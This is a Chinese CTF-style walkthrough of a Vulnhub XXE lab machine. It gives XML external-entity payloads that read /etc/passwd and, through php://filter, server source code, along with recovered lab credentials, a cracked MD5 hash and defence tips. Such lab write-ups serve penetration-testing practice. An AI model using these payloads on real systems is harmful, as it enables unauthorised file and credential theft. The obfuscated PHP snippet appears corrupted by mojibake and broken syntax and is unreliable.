Vulnhub-XXE靶机学习
字数 1136 2025-08-15 21:30:53

XXE靶机渗透测试实战教学文档

0x00 靶机概述

本靶机是一个专门设计用于学习XXE(XML External Entity)漏洞的Vulnhub环境,包含多种漏洞利用场景,适合中高级渗透测试人员练习。

0x01 环境准备

  1. 下载靶机镜像并导入VMware/VirtualBox
  2. 确保攻击机与靶机在同一网络
  3. 使用nmap扫描确定靶机IP地址

0x02 信息收集

初始扫描

nmap -A <靶机IP>

扫描结果关键发现:

  • Apache 2默认页面
  • robots.txt文件存在,包含敏感路径:
    • /xxe - 禁用路径
    • /admin.php - 禁用路径

访问关键路径

  1. 访问/xxe路径发现登录表单
  2. 测试发现用户名会回显在页面上
  3. 分析页面JavaScript代码,发现XML数据传输方式

0x03 XXE漏洞分析

漏洞点分析

登录功能使用XML格式传输数据:

var xml = '' + 
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';

XXE漏洞验证

构造恶意XML读取/etc/passwd

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
<password>test</password>
</root>

0x04 漏洞利用

文件包含攻击

  1. 使用PHP包装器读取admin.php源码:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
  1. Base64解码后获取admin.php源码

关键发现

admin.php源码分析:

  • 硬编码凭证:
    • 用户名:administhebest
    • 密码MD5:e6e061838856bf47e1de730719fb2609(解密为admin@123
  • 登录成功后会显示Flag链接:/flagmeout.php

获取Flag

  1. 使用XXE读取flagmeout.php
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
  1. 解码后发现Base32编码的提示:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
  2. 解码得到路径提示:/etc/.flag.php
  3. 最终读取/etc/.flag.php获取混淆的PHP webshell代码

0x05 混淆代码分析

混淆PHP代码

$_脌脌=+_;$脕脕=$脗脗=$脙脙=$脛脛=$脝脝=$脠脠=$脡脡=$脢脢=$脣脣=++$脕脕[];$脗脗++;$脙脙++;$脙脙++;$脛脛++;$脛脛++;$脛脛++;$脝脝++;$脝脝++;$脝脝++;$脝脝++;$脠脠++;$脠脠++;$脠脠++;$脠脠++;$脠脠++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣+脕脕.$脗脗.$脙脙.$___.$脕脕.$脌脌.$脕脕.$___.$脕脕.$脌脌.$脠脠.$___.$脕脕.$脌脌.$脙脙.$___.$脕脕.$脗脗.$脙脙.$___.$脕脕.$脗脗.$脌脌.$___.$脕脕.$脡脡.$脙脙.$___.$脕脕.$脡脡.$脌脌.$___.$脕脕.$脡脡.$脌脌.$___.$脕脕.$脛脛.$脝脝.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脝脝.$脕脕.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脝脝.$脡脡.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脛脛.$脝脝.$___.$脕脕.$脛脛.$脕脕.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脡脡.$脕脕.$___.$脕脕.$脡脡.$脝脝.

执行方法

  1. 将代码保存为PHP文件
  2. 在本地PHP环境中执行(需开启错误显示)
  3. 输出结果即为Flag

0x06 替代路径

通过目录爆破发现/xxe/admin.php路径,可使用获取的凭证登录:

  • 用户名:administhebest
  • 密码:admin@123

登录后会直接显示Flag链接(指向flagmeout.php

0x07 总结

本靶机渗透测试流程:

  1. 信息收集发现/xxe路径
  2. 分析XML数据传输方式
  3. 利用XXE漏洞读取系统文件
  4. 获取admin.php源码并分析
  5. 通过文件包含获取Flag相关文件
  6. 解码混淆的PHP代码获取最终Flag

0x08 防御建议

  1. 禁用XML外部实体解析:
    libxml_disable_entity_loader(true);
    
  2. 使用JSON替代XML传输数据
  3. 对用户输入进行严格过滤
  4. 避免在代码中硬编码敏感凭证
  5. 对服务器文件系统进行适当权限控制
XXE靶机渗透测试实战教学文档 0x00 靶机概述 本靶机是一个专门设计用于学习XXE(XML External Entity)漏洞的Vulnhub环境,包含多种漏洞利用场景,适合中高级渗透测试人员练习。 0x01 环境准备 下载靶机镜像并导入VMware/VirtualBox 确保攻击机与靶机在同一网络 使用 nmap 扫描确定靶机IP地址 0x02 信息收集 初始扫描 扫描结果关键发现: Apache 2默认页面 robots.txt 文件存在,包含敏感路径: /xxe - 禁用路径 /admin.php - 禁用路径 访问关键路径 访问 /xxe 路径发现登录表单 测试发现用户名会回显在页面上 分析页面JavaScript代码,发现XML数据传输方式 0x03 XXE漏洞分析 漏洞点分析 登录功能使用XML格式传输数据: XXE漏洞验证 构造恶意XML读取 /etc/passwd : 0x04 漏洞利用 文件包含攻击 使用PHP包装器读取 admin.php 源码: Base64解码后获取 admin.php 源码 关键发现 admin.php 源码分析: 硬编码凭证: 用户名: administhebest 密码MD5: e6e061838856bf47e1de730719fb2609 (解密为 admin@123 ) 登录成功后会显示Flag链接: /flagmeout.php 获取Flag 使用XXE读取 flagmeout.php : 解码后发现Base32编码的提示: JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 解码得到路径提示: /etc/.flag.php 最终读取 /etc/.flag.php 获取混淆的PHP webshell代码 0x05 混淆代码分析 混淆PHP代码 执行方法 将代码保存为PHP文件 在本地PHP环境中执行(需开启错误显示) 输出结果即为Flag 0x06 替代路径 通过目录爆破发现 /xxe/admin.php 路径,可使用获取的凭证登录: 用户名: administhebest 密码: admin@123 登录后会直接显示Flag链接(指向 flagmeout.php ) 0x07 总结 本靶机渗透测试流程: 信息收集发现 /xxe 路径 分析XML数据传输方式 利用XXE漏洞读取系统文件 获取 admin.php 源码并分析 通过文件包含获取Flag相关文件 解码混淆的PHP代码获取最终Flag 0x08 防御建议 禁用XML外部实体解析: 使用JSON替代XML传输数据 对用户输入进行严格过滤 避免在代码中硬编码敏感凭证 对服务器文件系统进行适当权限控制